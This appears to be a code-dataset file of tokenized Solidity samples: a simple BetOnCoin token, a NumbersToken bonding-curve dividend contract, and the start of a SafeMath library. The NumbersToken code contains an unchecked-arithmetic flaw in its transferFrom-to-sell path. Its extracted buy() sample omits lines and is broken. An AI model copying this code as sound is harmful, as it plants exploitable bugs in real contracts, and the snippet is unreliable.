0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
711,
12003,
12,
2867,
8843,
429,
389,
8443,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
9229,
87,
63,
67,
8443,
8009,
995,
329,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract BOC {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function BOC(
) public {
totalSupply = 5000000000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = 5000000000000000; // Give the creator all initial tokens
name = "BetOnCoin"; // Set the name for display purposes
symbol = "BOC"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
|
Update total supply with the decimal amount
|
totalSupply = 5000000000000000;
| 10,148,634 |
[
1,
1891,
2078,
14467,
598,
326,
6970,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2078,
3088,
1283,
273,
1381,
12648,
17877,
31,
21394,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0xdB521E3d0404210570251EafD1bfC1FfA2cB3942/sources/PoJoTestCoin.sol
|
Set the symbol for display purposes (CHANGE THIS)
|
symbol = "JPA2";
| 5,057,752 |
[
1,
694,
326,
3273,
364,
2562,
13694,
261,
14473,
20676,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
3273,
273,
315,
46,
4066,
22,
14432,
4766,
2868,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x310b15ad0a8b282ee8011d91c79feba80cb179c8
//Contract name: NumbersToken
//Balance: 0.024014490788323995 Ether
//Verification Date: 1/29/2018
//Transacion Count: 1094
// CODE STARTS HERE
pragma solidity ^0.4.18;
// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method
// Wacky version, 0-1 tokens takes 10eth (should be avg 200% gains), 1-2 takes another 30eth (avg 100% gains), and beyond that who the fuck knows but it's 50% gains
// 10% fees, price goes up crazy fast
contract NumbersToken {
uint256 constant PRECISION = 0x10000000000000000; // 2^64
// CRR = 80 %
int constant CRRN = 1;
int constant CRRD = 2;
// The price coefficient. Chosen such that at 1 token total supply
// the reserve is 0.8 ether and price 1 ether/token.
int constant LOGC = -0x296ABF784A358468C;
string constant public name = "NumbersToken";
string constant public symbol = "NUMB";
uint8 constant public decimals = 18;
uint256 public totalSupply;
// amount of shares for each address (scaled number)
mapping(address => uint256) public balanceOfOld;
// allowance map, see erc20
mapping(address => mapping(address => uint256)) public allowance;
// amount payed out for each address (scaled number)
mapping(address => int256) payouts;
// sum of all payouts (scaled number)
int256 totalPayouts;
// amount earned for each share (scaled number)
uint256 earningsPerShare;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//address owner;
function NumbersToken() public {
//owner = msg.sender;
}
// These are functions solely created to appease the frontend
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfOld[_owner];
}
function withdraw(uint tokenCount) // the parameter is ignored, yes
public
returns (bool)
{
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
msg.sender.transfer(balance);
return true;
}
function sellMyTokensDaddy() public {
var balance = balanceOf(msg.sender);
transferTokens(msg.sender, address(this), balance); // this triggers the internal sell function
}
function getMeOutOfHere() public {
sellMyTokensDaddy();
withdraw(1); // parameter is ignored
}
function fund()
public
payable
returns (bool)
{
if (msg.value > 0.000001 ether)
buy();
else
return false;
return true;
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
return getEtherForTokens(1 finney);
}
// End of useless functions
// Invariants
// totalPayout/Supply correct:
// totalPayouts = \sum_{addr:address} payouts(addr)
// totalSupply = \sum_{addr:address} balanceOfOld(addr)
// dividends not negative:
// \forall addr:address. payouts[addr] <= earningsPerShare * balanceOfOld[addr]
// supply/reserve correlation:
// totalSupply ~= exp(LOGC + CRRN/CRRD*log(reserve())
// i.e. totalSupply = C * reserve()**CRR
// reserve equals balance minus payouts
// reserve() = this.balance - \sum_{addr:address} dividends(addr)
function transferTokens(address _from, address _to, uint256 _value) internal {
if (balanceOfOld[_from] < _value)
revert();
if (_to == address(this)) {
sell(_value);
} else {
int256 payoutDiff = (int256) (earningsPerShare * _value);
balanceOfOld[_from] -= _value;
balanceOfOld[_to] += _value;
payouts[_from] -= payoutDiff;
payouts[_to] += payoutDiff;
}
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
transferTokens(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
var _allowance = allowance[_from][msg.sender];
if (_allowance < _value)
revert();
allowance[_from][msg.sender] = _allowance - _value;
transferTokens(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) revert();
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerShare * balanceOfOld[_owner]) - payouts[_owner]) / PRECISION;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return this.balance - msg.value;
}
function reserve() public constant returns (uint256 amount) {
return balance()
- ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
// 5 % of the amount is used to pay holders.
var fee = (uint)(msg.value / 10);
// compute number of bought tokens
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
// compute how the fee distributed to previous holders and buyer.
// The buyer already gets a part of the fee as if he would buy each token separately.
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
// Fee is distributed to all existing tokens before buying
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
// add numTokens to total supply
totalSupply += numTokens;
// add numTokens to balance
balanceOfOld[sender] += numTokens;
// fix payouts so that sender doesn't get old earnings for the new tokens.
// also add its buyerfee
var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthers = getEtherForTokens(amount);
// remove tokens
totalSupply -= amount;
balanceOfOld[msg.sender] -= amount;
// fix payouts and put the ethers in payout
var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
if (tokens == totalSupply)
return reserve();
return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN);
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
/*function destroy() external {
selfdestruct(owner);
}*/
function () payable public {
if (msg.value > 0)
buy();
else
withdrawOld(msg.sender);
}
}
|
5 % of the amount is used to pay holders. compute number of bought tokens compute how the fee distributed to previous holders and buyer. The buyer already gets a part of the fee as if he would buy each token separately. Fee is distributed to all existing tokens before buying
|
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
var fee = (uint)(msg.value / 10);
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
| 1,079,658 |
[
1,
25,
738,
434,
326,
3844,
353,
1399,
358,
8843,
366,
4665,
18,
3671,
1300,
434,
800,
9540,
2430,
3671,
3661,
326,
14036,
16859,
358,
2416,
366,
4665,
471,
27037,
18,
1021,
27037,
1818,
5571,
279,
1087,
434,
326,
14036,
487,
309,
3904,
4102,
30143,
1517,
1147,
18190,
18,
30174,
353,
16859,
358,
777,
2062,
2430,
1865,
30143,
310,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
30143,
1435,
2713,
288,
203,
202,
202,
430,
261,
3576,
18,
1132,
411,
374,
18,
2787,
1611,
225,
2437,
747,
1234,
18,
1132,
405,
15088,
225,
2437,
13,
203,
1082,
202,
266,
1097,
5621,
203,
202,
202,
1401,
5793,
273,
1234,
18,
15330,
31,
203,
202,
202,
1401,
14036,
273,
261,
11890,
21433,
3576,
18,
1132,
342,
1728,
1769,
203,
1082,
203,
202,
202,
1401,
818,
41,
1136,
273,
1234,
18,
1132,
300,
14036,
31,
203,
202,
202,
1401,
818,
5157,
273,
18349,
1290,
41,
1136,
12,
2107,
41,
1136,
1769,
203,
203,
202,
202,
1401,
27037,
21386,
273,
14036,
380,
7071,
26913,
31,
203,
202,
202,
430,
261,
4963,
3088,
1283,
405,
374,
13,
288,
203,
1082,
202,
1401,
10438,
266,
2913,
273,
203,
9506,
565,
261,
3670,
26913,
300,
261,
455,
6527,
1435,
397,
818,
41,
1136,
13,
380,
818,
5157,
380,
7071,
26913,
342,
261,
4963,
3088,
1283,
397,
818,
5157,
13,
342,
818,
41,
1136,
13,
203,
9506,
565,
380,
261,
11890,
21433,
5093,
20403,
13,
342,
261,
11890,
21433,
5093,
20403,
17,
5093,
54,
50,
1769,
203,
1082,
202,
1401,
10438,
21386,
273,
14036,
380,
10438,
266,
2913,
31,
203,
1082,
202,
70,
16213,
21386,
3947,
10438,
21386,
31,
203,
1082,
203,
1082,
202,
1401,
14036,
2173,
9535,
273,
10438,
21386,
342,
2078,
3088,
1283,
31,
203,
1082,
202,
73,
1303,
899,
2173,
9535,
1011,
14036,
2173,
9535,
31,
203,
202,
202,
97,
203,
202,
202,
84,
2012,
87,
63,
15330,
65,
1011,
293,
2012,
5938,
31,
2
] |
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
